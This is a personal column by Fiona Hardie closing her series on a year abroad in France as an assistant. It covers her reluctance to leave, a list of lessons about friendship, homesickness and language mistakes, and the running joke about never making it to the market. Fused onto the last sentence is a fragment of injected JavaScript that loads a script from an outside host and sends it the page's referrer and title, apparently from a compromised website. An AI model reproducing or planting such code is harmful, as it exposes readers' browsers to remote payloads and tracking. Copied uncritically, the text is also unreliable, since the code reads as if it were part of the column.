By Fiona Hardie
Well, dear reader, we’ve reached the last column from my year in France. It’s bittersweet.
The title of this one comes from a long running joke: in my first week here I talked so much about how I wanted to go to the market every Saturday (mostly because I was obsessed with finding decent strawberries), and due to various factors (lie-ins, holidays, classes) it never happened. ‘If I ever write a memoir about this year, I’ll call it I Never Made it to the Market’ was something I said on more than one occasion. It sums up a lot about my experiences here: I didn’t do absolutely everything I initially wanted to do here, but other opportunities presented themselves, which isn’t necessarily a negative thing.
Admittedly, I don’t want to leave.
I’m not ready yet. It’s not been a full “year” abroad, it’s not even been a full academic year. It’s somewhat frustrating that it feels like my life recently has been a series of new experiences but the moment I feel I’ve found my stride, it’s time for it to end. I’m staying on here as a volunteer for another month, because I’ve loved my job so much and I just feel like I need more time to say goodbye to everything.
It’s a kind of fear of going back to ‘reality’ (life here has been somewhat of a bubble), but it’s also not, because in a way this IS reality. This entire experience has been one huge reality check – I’d lived away from home for three years but I’d never dealt with this amount of paperwork: bills and insurance and opening a bank account in a foreign language. So I’m puzzled as to why the idea of going back to academia and paperwork intimidates me so much.
In the meantime, here are some year abroad lessons learned from people and places here that I plan to apply to life in general:
- When you’re stressing about something, wash your hands. Warm soapy water has become a soothing companion.
- Everyone is fighting their own demons; there are pros and cons to every situation.
- Trying new foods helps your year-abroad development.
- You are interesting and funny to someone.
- Each homesickness bout doesn’t last long (but you already knew that). Keep going.
- Make new friends, keep the old friendships going, rekindle even older ones. Build up your support network. Give what you get.
- Discover new passions and interests, keep the old passions going, rekindle even older interests. Remember what you love, it makes you who you are.
- Be a yes person, but within reason. At times my social anxiety spiked so badly I literally had to be on my own for an evening, but there were sometimes occasions when, after making the split decision to say yes, I ended up at a champagne soirée or with an adopted French family for lunch. And I bought some cool cheese.
- Making mistakes (particularly in a foreign language) is such an important thing to do; your confidence builds, bit by bit.
Everything feels like it’s coming round full-circle. By the time this is published, most of the other primary assistants from my little family unit this year will have left France. An air of nostalgia has been hanging over me for the past week, with everyone having their final days at work. Last week we all stood outside to watch the light show at the cathedral, which has just started again since it last stopped in October. The evening was so warm; it felt so similar to my first week here. And it’s tiny little things, like the fact that my phone case has finally broken so I had to start using the one I was using when I arrived – or the fact that I just saw the cat I befriended in October, for the first time since then.
It also feels like the end of an era because so many life changes have happened during this year, too. My life will never be the same – friends from my year at uni are graduating; my baby sister is turning eighteen this summer; my best friend got engaged. Wonderful, wonderful, happy things, but in a way I’m not returning to the same life. And… that feels like a good thing.
Reader, thanks for reading. It’s been so worth it. My brain is currently a mess of French and English and I’m sad and scared and happy and exhausted and refreshed, and it’s all been so, so worth it.
I did eventually make it to the market. This morning. Everything has a strange full-circle feeling; everything works out in the end.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;